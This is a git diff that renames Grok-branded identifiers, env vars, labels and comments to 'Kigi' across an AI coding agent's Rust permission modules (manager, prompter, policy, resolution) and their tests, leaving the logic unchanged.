@@ -182,7 +182,7 @@ pub(crate) fn extract_default_mode(value: &serde_json::Value, path: &Path) -> Op
 /// legacy/compat. Nested wins when both are present.
 fn extract_additional_directories(value: &serde_json::Value, path: &Path) -> Option<Vec<String>> {
     // Mirror `extract_default_mode`: prefer the Claude-canonical nested key, and
-    // when it is present but the wrong type, do *not* resurrect the grok-legacy
+    // when it is present but the wrong type, do *not* resurrect the kigi-legacy
     // root value (a malformed canonical key must not revive stale legacy).
     let arr = if let Some(nested) = value
         .get("permissions")
@@ -514,7 +514,7 @@ pub fn is_claude_import_marked() -> bool {
     // lives in kigi-shell (inaccessible from here at runtime). They also
     // set this env var so the workspace-resident gate honours the override
     // without a cross-crate dependency.
-    if std::env::var("_GROK_CLAUDE_MARKER_OVERRIDE").as_deref() == Ok("1") {
+    if std::env::var("_KIGI_CLAUDE_MARKER_OVERRIDE").as_deref() == Ok("1") {
         return true;
     }
     let Some(config_path) = kigi_config::user_kigi_home().map(|g| g.join("config.toml")) else {
diff --git a/crates/codegen/kigi-workspace/src/permission/manager.rs b/crates/codegen/kigi-workspace/src/permission/manager.rs
index 89fbc13..6f4dcb1 100644
--- a/crates/codegen/kigi-workspace/src/permission/manager.rs
+++ b/crates/codegen/kigi-workspace/src/permission/manager.rs
@@ -18,7 +18,7 @@ use crate::permission::types::{
     AccessKind, ClientType, Decision, EditPolicy, PermissionCommand, PermissionEvent, PromptPolicy,
 };
 use kigi_paths::AbsPathBuf;
-use kigi_tools::implementations::grok_build::web_fetch::{DomainMatcher, domain::normalize_domain};
+use kigi_tools::implementations::kigi::web_fetch::{DomainMatcher, domain::normalize_domain};
 
 /// Canonical `decision_reason` triggers for the uploaded artifact. Single source
 /// so the emit sites can't drift or misspell (the field doc lists these values).
@@ -911,7 +911,7 @@ fn spawn_permission_manager_with_pin(
         //
         // Prior to this change, that choice would set edit_policy=Allow and
         // persist it to ~/.kigi/sessions/<cwd>/permission.toml. This caused
-        // the allow to survive full restarts (new grok process, new agent
+        // the allow to survive full restarts (new kigi process, new agent
         // session in the same directory), which did not match the label or
         // user expectation (and did not match upstream session-scoped
         // behavior).
@@ -1579,7 +1579,7 @@ fn spawn_permission_manager_with_pin(
                                     (Decision::Allow, "allow_edits_for_session")
                                 }
                                 PromptOutcome::AllowAlways => {
-                                    // Fallback clients (Generic / GrokWeb /
+                                    // Fallback clients (Generic / KigiWeb /
                                     // Extension) submit the legacy `"always-allow"` option
                                     // id, which the prompter maps to plain `AllowAlways`.
                                     // They have no scope toggle, so default to tool-scope
@@ -2400,7 +2400,7 @@ mod tests {
     /// Spawn a manager whose prompter is wired to a live gateway receiver backed
     /// by `client`, so prompting performs a real `request_permission` round-trip.
     /// `client_type` selects the option set the prompter builds (e.g. the
-    /// always-approve option is only offered for `GrokTUI | GrokPager | Desktop`).
+    /// always-approve option is only offered for `KigiTUI | KigiPager | Desktop`).
     fn manager_with_recording_client(
         cwd: &AbsPathBuf,
         config: Option<crate::permission::types::PermissionConfig>,
@@ -4930,10 +4930,10 @@ mod tests {
                 let cwd = AbsPathBuf::new(tmp.path().to_path_buf()).unwrap();
                 let client = RecordingClient::default();
                 let prompts = client.prompts.clone();
-                // GrokPager wires the always-approve option through to its YOLO
+                // KigiPager wires the always-approve option through to its YOLO
                 // toggle; it is the option set the auto path prompts under.
                 let (mgr, _e) =
-                    manager_with_recording_client(&cwd, None, client, ClientType::GrokPager);
+                    manager_with_recording_client(&cwd, None, client, ClientType::KigiPager);
                 mgr.set_auto_mode(true);
                 // Force classify to Block. Interactive auto mode must now prompt
                 // on the FIRST block instead of denying.
@@ -5000,7 +5000,7 @@ mod tests {
                 let client = RecordingClient::default();
                 let prompts = client.prompts.clone();
                 let (mgr, _e) =
-                    manager_with_recording_client(&cwd, None, client, ClientType::GrokPager);
+                    manager_with_recording_client(&cwd, None, client, ClientType::KigiPager);
                 mgr.set_auto_mode(true);
                 mgr.set_classifier(Some(LlmPermissionClassifier::with_fixed_model_text(
                     r#"{"thinking":"t","shouldBlock":true,"reason":"x"}"#,
@@ -5050,7 +5050,7 @@ mod tests {
                 let client = RecordingClient::default();
                 let prompts = client.prompts.clone();
                 let (mgr, _e) =
-                    manager_with_recording_client(&cwd, None, client, ClientType::GrokPager);
+                    manager_with_recording_client(&cwd, None, client, ClientType::KigiPager);
                 mgr.set_auto_mode(true);
                 mgr.set_classifier(Some(LlmPermissionClassifier::with_fixed_model_text(
                     r#"{"thinking":"t","shouldBlock":true,"reason":"x"}"#,
@@ -5098,7 +5098,7 @@ mod tests {
                 let client = RecordingClient::default();
                 let prompts = client.prompts.clone();
                 let (mgr, _e) =
-                    manager_with_recording_client(&cwd, None, client, ClientType::GrokPager);
+                    manager_with_recording_client(&cwd, None, client, ClientType::KigiPager);
                 mgr.set_auto_mode(true);
                 mgr.set_classifier(Some(LlmPermissionClassifier::with_fixed_model_text(
                     r#"{"thinking":"t","shouldBlock":true,"reason":"x"}"#,
@@ -5144,7 +5144,7 @@ mod tests {
                 let client = RecordingClient::default();
                 let prompts = client.prompts.clone();
                 let (mgr, _e) =
-                    manager_with_recording_client(&cwd, None, client, ClientType::GrokPager);
+                    manager_with_recording_client(&cwd, None, client, ClientType::KigiPager);
                 mgr.set_auto_mode(true);
                 mgr.set_classifier(Some(LlmPermissionClassifier::with_fixed_model_text(
                     r#"{"thinking":"t","shouldBlock":true,"reason":"x"}"#,
@@ -5193,7 +5193,7 @@ mod tests {
                 let client = RecordingClient::default();
                 let prompts = client.prompts.clone();
                 let (mgr, _e) =
-                    manager_with_recording_client(&cwd, None, client, ClientType::GrokPager);
+                    manager_with_recording_client(&cwd, None, client, ClientType::KigiPager);
                 mgr.set_auto_mode(true);
                 mgr.set_classifier(Some(LlmPermissionClassifier::with_fixed_model_text(
                     r#"{"thinking":"t","shouldBlock":true,"reason":"x"}"#,
@@ -5239,7 +5239,7 @@ mod tests {
                 let client = RecordingClient::default();
                 let prompts = client.prompts.clone();
                 let (mgr, _e) =
-                    manager_with_recording_client(&cwd, None, client, ClientType::GrokPager);
+                    manager_with_recording_client(&cwd, None, client, ClientType::KigiPager);
                 mgr.set_auto_mode(true);
                 mgr.set_classifier(Some(LlmPermissionClassifier::with_fixed_model_text(
                     r#"{"thinking":"t","shouldBlock":true,"reason":"x"}"#,
@@ -5324,7 +5324,7 @@ mod tests {
                 let client = RecordingClient::default();
                 let prompts = client.prompts.clone();
                 let (mgr, _e) =
-                    manager_with_recording_client(&cwd, None, client, ClientType::GrokPager);
+                    manager_with_recording_client(&cwd, None, client, ClientType::KigiPager);
                 mgr.set_auto_mode(true);
                 mgr.set_classifier(Some(LlmPermissionClassifier::with_fixed_model_text(
                     r#"{"thinking":"t","shouldBlock":false,"reason":"x"}"#,
@@ -5373,7 +5373,7 @@ mod tests {
                 let client = RecordingClient::default();
                 let prompts = client.prompts.clone();
                 let (mgr, _e) =
-                    manager_with_recording_client(&cwd, None, client, ClientType::GrokPager);
+                    manager_with_recording_client(&cwd, None, client, ClientType::KigiPager);
                 mgr.set_auto_mode(true);
                 mgr.set_classifier(Some(LlmPermissionClassifier::with_fixed_model_text(
                     r#"{"thinking":"t","shouldBlock":true,"reason":"x"}"#,
diff --git a/crates/codegen/kigi-workspace/src/permission/policy.rs b/crates/codegen/kigi-workspace/src/permission/policy.rs
index bd3598f..04c0e48 100644
--- a/crates/codegen/kigi-workspace/src/permission/policy.rs
+++ b/crates/codegen/kigi-workspace/src/permission/policy.rs
@@ -3,7 +3,7 @@ use crate::permission::shell_access::combine_decisions;
 use crate::permission::types::{
     AccessKind, Decision, PatternMode, PermissionConfig, PermissionRule, RuleAction, ToolFilter,
 };
-use kigi_tools::implementations::grok_build::web_fetch::domain::normalize_domain;
+use kigi_tools::implementations::kigi::web_fetch::domain::normalize_domain;
 
 #[derive(Clone, Copy)]
 enum MatchContext {
diff --git a/crates/codegen/kigi-workspace/src/permission/prompter.rs b/crates/codegen/kigi-workspace/src/permission/prompter.rs
index 89bdc46..f3f588c 100644
--- a/crates/codegen/kigi-workspace/src/permission/prompter.rs
+++ b/crates/codegen/kigi-workspace/src/permission/prompter.rs
@@ -9,9 +9,9 @@ use crate::permission::{
 use agent_client_protocol::{self as acp, Client as _};
 use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
 use kigi_file_utils::events::{Event, EventWriter, PermissionDecision};
-use kigi_tools::implementations::grok_build::web_fetch::domain_from_url;
+use kigi_tools::implementations::kigi::web_fetch::domain_from_url;
 
-const REJECT_ONCE_LABEL: &str = "No, and tell Grok what to do differently";
+const REJECT_ONCE_LABEL: &str = "No, and tell Kigi what to do differently";
 
 /// Stable option id for the edit prompt's "Yes, allow all edits during this
 /// session" choice. Distinct from the generic `"always-allow"` id (used by
@@ -40,7 +40,7 @@ pub const ALLOW_EDITS_SESSION_OPTION_ID: &str = "allow-edits-session";
 ///     2. Drains any queued permission requests with `AllowOnce` responses
 ///     3. Persists `[ui] permission_mode = "always-approve"` to
 ///        `~/.kigi/config.toml` via the `Effect::PersistPermissionMode` effect
-///     4. Sends the existing `x.ai/yolo_mode_changed` ACP notification so
+///     4. Sends the existing `kigi/yolo_mode_changed` ACP notification so
 ///        the agent's permission manager flips its `yolo_mode` flag
 ///
 /// This split keeps the wire protocol bog-standard ACP (no new methods or
@@ -96,7 +96,7 @@ fn enable_always_approve_option() -> acp::PermissionOption {
 }
 
 /// Returns whether the given option is the special "enable always-approve mode"
-/// (global yolo) option that is prepended for GrokTUI / GrokPager / Desktop.
+/// (global yolo) option that is prepended for KigiTUI / KigiPager / Desktop.
 ///
 /// This is the canonical way to identify the option instead of matching on
 /// its human-facing label or assuming position 0. Callers that need to
@@ -108,12 +108,12 @@ pub fn is_enable_always_approve_option(opt: &acp::PermissionOption) -> bool {
 
 /// Returns `true` if the given client type should see the prepended
 /// "enable always-approve mode" option. Limited to the three clients
-/// (`GrokTUI`, `GrokPager`, `Desktop`) that wire the option id through
+/// (`KigiTUI`, `KigiPager`, `Desktop`) that wire the option id through
 /// to their YOLO toggle. Other clients keep their existing option set.
 fn client_supports_enable_always_approve(client_type: ClientType) -> bool {
     matches!(
         client_type,
-        ClientType::GrokTUI | ClientType::GrokPager | ClientType::Desktop
+        ClientType::KigiTUI | ClientType::KigiPager | ClientType::Desktop
     )
 }
 
@@ -188,8 +188,8 @@ pub fn mcp_tool_action<'a>(tool_name: &'a str, server_prefix: Option<&str>) -> &
 /// Pretty-format a single MCP server- or tool-name segment for display:
 /// split on `'_'`, title-case each word, join with spaces. Leaves
 /// non-underscore characters (camelCase, hyphens) intact, so
-/// `"list_issues"` → `"List Issues"`, `"grok_com_notion"` →
-/// `"Grok Com Notion"`, and `"getMyTaskList"` → `"GetMyTaskList"`.
+/// `"list_issues"` → `"List Issues"`, `"kigi_com_notion"` →
+/// `"Kigi Com Notion"`, and `"getMyTaskList"` → `"GetMyTaskList"`.
 pub fn mcp_titleize_segment(name: &str) -> String {
     name.split('_')
         .map(|word| {
@@ -248,10 +248,10 @@ pub struct McpToolPermission {
     /// e.g. `"Always allow:"`. Mirrors `BashCommandPermission::prompt_prefix`.
     pub prompt_prefix: String,
     /// Full tool name as the agent called it
-    /// (e.g. `"grok_com_notion__notion-fetch"`).
+    /// (e.g. `"kigi_com_notion__notion-fetch"`).
     pub tool_name: String,
     /// Server segment (everything before the single `__` separator,
-    /// e.g. `"grok_com_notion"`). `None` if the tool name has no `__`,
+    /// e.g. `"kigi_com_notion"`). `None` if the tool name has no `__`,
     /// in which case the view hides the scope toggle and only offers
     /// tool-scope.
     pub server_prefix: Option<String>,
@@ -397,7 +397,7 @@ impl AcpPrompter {
             ),
         );
 
-        // Bash options for GrokTUI - interactive selection with expandable/contractable terms
+        // Bash options for KigiTUI - interactive selection with expandable/contractable terms
         let mut bash_options: IndexMap<acp::PermissionOptionId, acp::PermissionOption> =
             IndexMap::new();
         bash_options.insert(
@@ -543,7 +543,7 @@ impl AcpPrompter {
                 if self.remember_tool_approvals
                     && matches!(
                         self.client_type,
-                        ClientType::GrokTUI | ClientType::GrokPager | ClientType::Desktop
+                        ClientType::KigiTUI | ClientType::KigiPager | ClientType::Desktop
                     ) =>
             {
                 serde_json::to_value(primary_command_from_script(bash_command))
@@ -565,11 +565,11 @@ impl AcpPrompter {
         match access {
             AccessKind::Edit(_) => self.edit_options.clone(),
             AccessKind::Bash(bash_command) => {
-                // For GrokTUI clients, use the fancy interactive options with term selection
+                // For KigiTUI clients, use the fancy interactive options with term selection
                 // For generic clients (web, etc.), use simpler options that work without
                 // special UI handling
                 match self.client_type {
-                    ClientType::GrokTUI | ClientType::GrokPager | ClientType::Desktop => {
+                    ClientType::KigiTUI | ClientType::KigiPager | ClientType::Desktop => {
                         let mut bash_commands: IndexMap<
                             acp::PermissionOptionId,
                             acp::PermissionOption,
@@ -601,7 +601,7 @@ impl AcpPrompter {
                         bash_commands
                     }
                     ClientType::Generic
-                    | ClientType::GrokWeb
+                    | ClientType::KigiWeb
                     | ClientType::Nebula
                     | ClientType::Extension => {
                         // For generic clients, use simpler options that display well
@@ -654,7 +654,7 @@ impl AcpPrompter {
                 // `fallback_options` (`always-allow`) and the manager's
                 // plain `AllowAlways` arm persists tool-scope.
                 match self.client_type {
-                    ClientType::GrokTUI | ClientType::GrokPager | ClientType::Desktop => {
+                    ClientType::KigiTUI | ClientType::KigiPager | ClientType::Desktop => {
                         let mut options: IndexMap<acp::PermissionOptionId, acp::PermissionOption> =
                             IndexMap::new();
                         let server_prefix = tool_name.split_once("__").map(|(s, _)| s.to_owned());
@@ -694,7 +694,7 @@ impl AcpPrompter {
                         options
                     }
                     ClientType::Generic
-                    | ClientType::GrokWeb
+                    | ClientType::KigiWeb
                     | ClientType::Nebula
                     | ClientType::Extension => self.fallback_options.clone(),
                 }
@@ -991,7 +991,7 @@ mod tests {
 
     #[test]
     fn gate_off_strips_bash_always_allow_keeps_yes_no() {
-        let p = prompter_with_gate(ClientType::GrokPager, false);
+        let p = prompter_with_gate(ClientType::KigiPager, false);
         let access = AccessKind::Bash("kubectl get pods".to_owned());
         let opts = p.build_options(&access);
         assert!(
@@ -1012,7 +1012,7 @@ mod tests {
 
     #[test]
     fn gate_on_includes_bash_always_allow() {
-        let p = prompter_with_gate(ClientType::GrokPager, true);
+        let p = prompter_with_gate(ClientType::KigiPager, true);
         let access = AccessKind::Bash("kubectl get pods".to_owned());
         let opts = p.build_options(&access);
         assert!(
@@ -1027,7 +1027,7 @@ mod tests {
 
     #[test]
     fn gate_off_strips_mcp_always_allow() {
-        let p = prompter_with_gate(ClientType::GrokPager, false);
+        let p = prompter_with_gate(ClientType::KigiPager, false);
         let access = AccessKind::MCPTool {
             name: "linear__list".to_owned(),
             input: serde_json::Value::Null,
@@ -1040,7 +1040,7 @@ mod tests {
 
     #[test]
     fn gate_off_strips_generic_bash_always_and_reject_always() {
-        let p = prompter_with_gate(ClientType::GrokWeb, false);
+        let p = prompter_with_gate(ClientType::KigiWeb, false);
         let access = AccessKind::Bash("kubectl get pods".to_owned());
         let opts = p.build_options(&access);
         assert!(!has_option(&opts, "always-allow"));
@@ -1051,7 +1051,7 @@ mod tests {
 
     #[test]
     fn gate_off_strips_web_fetch_always_allow_domain() {
-        let p = prompter_with_gate(ClientType::GrokPager, false);
+        let p = prompter_with_gate(ClientType::KigiPager, false);
         let access = AccessKind::WebFetch("https://example.com/x".to_owned());
         let opts = p.build_options(&access);
         assert!(!has_option(&opts, "allow-always-domain"));
@@ -1063,7 +1063,7 @@ mod tests {
     fn bash_meta_present_only_when_gate_on_for_fancy_clients() {
         let access = AccessKind::Bash("kubectl get pods".to_owned());
         // Gate on + fancy client → meta carries the parsed command parts.
-        let on = prompter_with_gate(ClientType::GrokPager, true);
+        let on = prompter_with_gate(ClientType::KigiPager, true);
         let meta = on.bash_selection_meta(&access).expect("meta present");
         assert!(
             serde_json::from_value::<
@@ -1073,10 +1073,10 @@ mod tests {
             "meta must deserialize back into BashCommandHighlights"
         );
         // Gate off → no meta (no allow-always-command row to scope).
-        let off = prompter_with_gate(ClientType::GrokPager, false);
+        let off = prompter_with_gate(ClientType::KigiPager, false);
         assert!(off.bash_selection_meta(&access).is_none());
         // Generic client never gets the fancy-UI meta, even with the gate on.
-        let generic = prompter_with_gate(ClientType::GrokWeb, true);
+        let generic = prompter_with_gate(ClientType::KigiWeb, true);
         assert!(generic.bash_selection_meta(&access).is_none());
         // Non-bash access never carries bash meta.
         assert!(
@@ -1087,7 +1087,7 @@ mod tests {
 
     #[test]
     fn bash_reject_always_command_maps_selected_words() {
-        let p = prompter(ClientType::GrokPager);
+        let p = prompter(ClientType::KigiPager);
         let access = AccessKind::Bash("cargo test --workspace".to_owned());
         let opts = p.build_options(&access);
         // Pager path: the ←/→ word-scope selection arrives as
@@ -1121,7 +1121,7 @@ mod tests {
     #[test]
     fn gate_off_keeps_edit_session_allow() {
         // The edit session allow is governed separately, not by this gate.
-        let p = prompter_with_gate(ClientType::GrokPager, false);
+        let p = prompter_with_gate(ClientType::KigiPager, false);
         let access = AccessKind::Edit("src/main.rs".to_owned());
         let opts = p.build_options(&access);
         assert!(
@@ -1142,7 +1142,7 @@ mod tests {
 
     #[test]
     fn mcp_prompt_includes_allow_always_with_meta() {
-        let p = prompter(ClientType::GrokTUI);
+        let p = prompter(ClientType::KigiTUI);
         let access = AccessKind::MCPTool {
             name: "linear__list".to_owned(),
             input: serde_json::Value::Null,
@@ -1161,7 +1161,7 @@ mod tests {
 
     #[test]
     fn mcp_prompt_no_separator_hides_server_scope() {
-        let p = prompter(ClientType::GrokPager);
+        let p = prompter(ClientType::KigiPager);
         let access = AccessKind::MCPTool {
             name: "standalone".to_owned(),
             input: serde_json::Value::Null,
@@ -1178,7 +1178,7 @@ mod tests {
 
     #[test]
     fn mcp_response_tool_scope() {
-        let p = prompter(ClientType::GrokPager);
+        let p = prompter(ClientType::KigiPager);
         let access = AccessKind::MCPTool {
             name: "linear__list".to_owned(),
             input: serde_json::Value::Null,
@@ -1197,7 +1197,7 @@ mod tests {
 
     #[test]
     fn mcp_response_server_scope() {
-        let p = prompter(ClientType::GrokPager);
+        let p = prompter(ClientType::KigiPager);
         let access = AccessKind::MCPTool {
             name: "linear__list".to_owned(),
             input: serde_json::Value::Null,
@@ -1216,7 +1216,7 @@ mod tests {
 
     #[test]
     fn mcp_response_empty_server_falls_back_to_tool() {
-        let p = prompter(ClientType::GrokPager);
+        let p = prompter(ClientType::KigiPager);
         let access = AccessKind::MCPTool {
             name: "linear__list".to_owned(),
             input: serde_json::Value::Null,
@@ -1238,7 +1238,7 @@ mod tests {
         // TUI / Desktop case: option id is `allow-always-mcp` but the renderer
         // does not build the toggle meta. The prompter must default to
         // tool-scope using the access-kind name.
-        let p = prompter(ClientType::GrokTUI);
+        let p = prompter(ClientType::KigiTUI);
         let access = AccessKind::MCPTool {
             name: "notion__fetch".to_owned(),
             input: serde_json::Value::Null,
@@ -1253,7 +1253,7 @@ mod tests {
 
     #[test]
     fn mcp_fallback_client_returns_plain_allow_always() {
-        // non-TUI clients (Generic / GrokWeb / Extension / …) see `fallback_options`. The
+        // non-TUI clients (Generic / KigiWeb / Extension / …) see `fallback_options`. The
         // legacy `"always-allow"` id maps to plain `PromptOutcome::AllowAlways`;
         // the manager arm persists tool-scope from there.
         let p = prompter(ClientType::Generic);
@@ -1303,7 +1303,7 @@ mod tests {
     fn mcp_titleize_segment_handles_snake_camel_kebab() {
         // snake_case → words split + each title-cased
         assert_eq!(mcp_titleize_segment("list_issues"), "List Issues");
-        assert_eq!(mcp_titleize_segment("grok_com_notion"), "Grok Com Notion");
+        assert_eq!(mcp_titleize_segment("kigi_com_notion"), "Kigi Com Notion");
         // single word: just capitalize first letter
         assert_eq!(mcp_titleize_segment("linear"), "Linear");
         // camelCase preserved (no `_` to split on, only first letter touched)
@@ -1330,7 +1330,7 @@ mod tests {
     /// pin position 0 with an exhaustive enumeration.
     #[test]
     fn enable_always_approve_is_first_option_for_pager() {
-        let p = prompter(ClientType::GrokPager);
+        let p = prompter(ClientType::KigiPager);
         let cases: Vec<(&str, AccessKind)> = vec![
             ("edit", AccessKind::Edit("write".to_owned())),
             ("bash", AccessKind::Bash("ls -la".to_owned())),
@@ -1362,13 +1362,13 @@ mod tests {
         }
     }
 
-    /// Same pin as above for `GrokTUI` and `Desktop` — both client types
+    /// Same pin as above for `KigiTUI` and `Desktop` — both client types
     /// route the option id through to the YOLO toggle, so both must
     /// see it. A copy-paste regression that limits the prepend to one
     /// client only would be caught here.
     #[test]
     fn enable_always_approve_is_first_for_tui_and_desktop() {
-        for ct in [ClientType::GrokTUI, ClientType::Desktop] {
+        for ct in [ClientType::KigiTUI, ClientType::Desktop] {
             let p = prompter(ct);
             let opts = p.build_options(&AccessKind::Edit("write".to_owned()));
             assert_eq!(
@@ -1387,7 +1387,7 @@ mod tests {
     fn enable_always_approve_omitted_for_non_tui_clients() {
         for ct in [
             ClientType::Generic,
-            ClientType::GrokWeb,
+            ClientType::KigiWeb,
             ClientType::Nebula,
             ClientType::Extension,
         ] {
@@ -1406,7 +1406,7 @@ mod tests {
     /// state for this id. Pin the override for every access kind.
     #[test]
     fn enable_always_approve_maps_to_allow_once_for_every_access_kind() {
-        let p = prompter(ClientType::GrokPager);
+        let p = prompter(ClientType::KigiPager);
         let cases: Vec<(&str, AccessKind)> = vec![
             ("edit", AccessKind::Edit("write".to_owned())),
             ("bash", AccessKind::Bash("ls".to_owned())),
@@ -1440,7 +1440,7 @@ mod tests {
     /// target kind is in play. Pin the kind regardless.
     #[test]
     fn enable_always_approve_uses_allow_once_kind() {
-        let p = prompter(ClientType::GrokPager);
+        let p = prompter(ClientType::KigiPager);
         let opts = p.build_options(&AccessKind::Edit("write".to_owned()));
         let opt = opts
             .get(&enable_always_approve_id())
@@ -1461,7 +1461,7 @@ mod tests {
     /// allow-once, reject-once, reject-always-command].
     #[test]
     fn bash_option_order_toggle_first_reject_always_last() {
-        let p = prompter(ClientType::GrokPager);
+        let p = prompter(ClientType::KigiPager);
         // "ls" has a parseable primary command, so `allow-always-command`
         // will be inserted into the option list.
         let access = AccessKind::Bash("ls -la".to_owned());
diff --git a/crates/codegen/kigi-workspace/src/permission/resolution.rs b/crates/codegen/kigi-workspace/src/permission/resolution.rs
index f2ac5e6..cee94bd 100644
--- a/crates/codegen/kigi-workspace/src/permission/resolution.rs
+++ b/crates/codegen/kigi-workspace/src/permission/resolution.rs
@@ -71,7 +71,7 @@ fn synthetic_rules_for_default_mode(
 }
 
 /// Parse a raw defaultMode string: unknown → [`DefaultPermissionMode::Default`]
-/// (fail-safe) with a warn + skip record for `grok inspect`.
+/// (fail-safe) with a warn + skip record for `kigi inspect`.
 fn parse_default_mode_claiming_scope(
     raw: &str,
     path: &Path,
@@ -214,7 +214,7 @@ fn load_requirements_permissions() -> Vec<Sourced<PermissionRule>> {
 ///
 /// Returned paths are ordered from repo root (lowest priority) to `cwd`
 /// (highest priority), matching `kigi-shell::config::find_project_configs`.
-fn find_project_grok_configs(cwd: &Path) -> Vec<PathBuf> {
+fn find_project_kigi_configs(cwd: &Path) -> Vec<PathBuf> {
     let git_root = git2::Repository::discover(cwd)
         .ok()
         .and_then(|repo| repo.workdir().map(|p| p.to_path_buf()));
@@ -242,7 +242,7 @@ fn find_project_grok_configs(cwd: &Path) -> Vec<PathBuf> {
     configs
 }
 
-/// Load `[permission]` rules from native Grok TOML config files:
+/// Load `[permission]` rules from native Kigi TOML config files:
 ///
 ///   * `~/.kigi/config.toml` (lowest priority)
 ///   * Each `.kigi/config.toml` from the git repo root down to `cwd`
@@ -272,7 +272,7 @@ fn load_config_toml_permissions(cwd: &Path) -> Vec<Sourced<PermissionRule>> {
     }
 
     // Project-scoped configs walking from git root down to cwd.
-    for path in find_project_grok_configs(cwd) {
+    for path in find_project_kigi_configs(cwd) {
         match kigi_config::load_config_file(&path) {
             Ok(value) => rules.extend(extract_toml_permissions(&value, || {
                 RequirementSource::Config { path: path.clone() }
@@ -303,7 +303,7 @@ fn managed_config_permissions(
 // Fallback Resolver
 // ═════════════════════════════════════════════════════════════════════════════
 
-/// Resolve permission config, merging native Grok and Claude sources.
+/// Resolve permission config, merging native Kigi and Claude sources.
 /// Evaluation is order-independent (deny > ask > allow); merge order affects
 /// provenance display only.
 ///
@@ -392,7 +392,7 @@ fn is_admin_source(source: &RequirementSource) -> bool {
 }
 
 /// Under the pin, drop untrusted catch-all Allow rules (they substitute for the
-/// blocked `--yolo`); keep admin-tier ones. Records each drop for `grok inspect`.
+/// blocked `--yolo`); keep admin-tier ones. Records each drop for `kigi inspect`.
 fn drop_untrusted_catchall_allows(
     rules: Vec<Sourced<PermissionRule>>,
     policy_block: Option<&'static str>,
@@ -459,7 +459,7 @@ impl ResolveInputs<'static> {
 /// **Always-approve (yolo) is independent of defaultMode:** session always-approve
 /// still auto-approves before [`PromptPolicy::Deny`] (`dontAsk`) is consulted,
 /// so always-approve outranks `defaultMode` unless
-/// bypass is pinned off via grok `requirements.toml`
+/// bypass is pinned off via kigi `requirements.toml`
 /// (`[ui] disable_bypass_permissions_mode = true`). Pair managed `dontAsk` with
 /// that pin when org policy must not be bypassable by `--always-approve`.
 pub async fn resolve_permissions_with_provenance(cwd: &Path) -> Option<ResolvedPermissions> {
@@ -540,7 +540,7 @@ async fn resolve_permissions_with_provenance_inner(
     // `--allow '*'` is filtered at its own merge site (acp_session).
     let all_rules = drop_untrusted_catchall_allows(all_rules, policy_block, &mut skipped);
 
-    // Keep skip-only resolutions alive so the drop reaches `grok inspect`; zero
+    // Keep skip-only resolutions alive so the drop reaches `kigi inspect`; zero
     // rules with Ask is a no-op for the evaluator, identical to the `None` arm.
     if all_rules.is_empty() && prompt_policy == PromptPolicy::Ask && skipped.is_empty() {
         return None;
@@ -627,7 +627,7 @@ fn resolve_claude_settings_inner(
                 warn!(path = %path.display(), "{}", w);
             }
             // Rules *or* skip-only parse failures still own provenance for
-            // `grok inspect` (all-invalid allow/deny/ask must not leave
+            // `kigi inspect` (all-invalid allow/deny/ask must not leave
             // primary_source_path unset and panic below).
             if (!cfg.rules.is_empty() || !warnings.is_empty()) && primary_source_path.is_none() {
                 primary_source_path = Some(path.clone());
@@ -665,7 +665,7 @@ fn resolve_claude_settings_inner(
 
     // A blocked bypass, a claimed defaultMode (incl. typo→default), or skip
     // records still resolve (possibly zero rules) so provenance reaches
-    // `grok inspect` via the outer resolver.
+    // `kigi inspect` via the outer resolver.
     if all_rules.is_empty()
         && prompt_policy == PromptPolicy::Ask
         && !bypass_blocked
@@ -954,10 +954,10 @@ pub const YOLO_PIN_REASON_LEGACY_YOLO: &str =
 /// `Some(reason)` iff a requirements layer sets `[ui]
 /// disable_bypass_permissions_mode = true` (or legacy `[ui] yolo = false`).
 /// Vendor `managed-settings.json` `disableBypassPermissionsMode` is deliberately
-/// not consulted: grok must not inherit a host-wide always-approve lockdown from
-/// that file. grok still honors that file's permission rules / MCP / marketplace
+/// not consulted: kigi must not inherit a host-wide always-approve lockdown from
+/// that file. kigi still honors that file's permission rules / MCP / marketplace
 /// allowlists, and the user's own `--yolo` / `[ui] permission_mode` / runtime
-/// toggle drive always-approve; to disable it in grok use a root-owned
+/// toggle drive always-approve; to disable it in kigi use a root-owned
 /// `requirements.toml`. Fails open on user-writable layers.
 pub fn yolo_disabled_by_policy() -> Option<&'static str> {
     let layers = kigi_config::requirements_layers();
@@ -1204,12 +1204,12 @@ impl McpServerAllowlist {
     }
 }
 
-/// Namespace prefix for managed (grok.com-injected) MCP server names. Defined
+/// Namespace prefix for managed (kimi.com-injected) MCP server names. Defined
 /// here (shell depends on workspace) and re-exported by shell's `to_managed_name`
 /// so the prefix and policy matching never drift.
-pub const MANAGED_MCP_PREFIX: &str = "grok_com_";
+pub const MANAGED_MCP_PREFIX: &str = "kigi_com_";
 
-/// Max `char` length of a managed runtime name (`grok_com_` + normalized display
+/// Max `char` length of a managed runtime name (`kigi_com_` + normalized display
 /// name), sized to the 64-char tool-name budget. Shared by `to_managed_name` and
 /// `mcp_name_matches` so a long policy `serverName` still matches its truncated
 /// runtime name.
@@ -1236,7 +1236,7 @@ fn mcp_server_name(server: &agent_client_protocol::McpServer) -> &str {
 
 /// Match a policy `serverName` against a runtime server name.
 ///
-/// Both sides reduce to one key (strip `grok_com_`, [`normalize_managed_name`],
+/// Both sides reduce to one key (strip `kigi_com_`, [`normalize_managed_name`],
 /// truncate to the cap) compared by exact equality — never substring, so deny
 /// `foo` can't leak onto `foobar`; an empty key never matches.
 fn mcp_name_matches(pattern: &str, name: &str) -> bool {
@@ -1942,7 +1942,7 @@ mod tests {
         let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
         let home = tempfile::tempdir().unwrap();
         let _home_guard = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
-        let _marker_guard = EnvVarGuard::unset("_GROK_CLAUDE_MARKER_OVERRIDE");
+        let _marker_guard = EnvVarGuard::unset("_KIGI_CLAUDE_MARKER_OVERRIDE");
         let tmp = tempfile::tempdir().unwrap();
         let claude_dir = tmp.path().join(".claude");
         std::fs::create_dir_all(&claude_dir).unwrap();
@@ -1976,7 +1976,7 @@ mod tests {
         let home = tempfile::tempdir().unwrap();
         let _home_guard = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
         let _real_home_guard = EnvVarGuard::set("HOME", home.path());
-        let _marker_guard = EnvVarGuard::unset("_GROK_CLAUDE_MARKER_OVERRIDE");
+        let _marker_guard = EnvVarGuard::unset("_KIGI_CLAUDE_MARKER_OVERRIDE");
         let tmp = tempfile::tempdir().unwrap();
         let env = load_claude_env_with_project(tmp.path(), true);
         assert!(env.is_empty());
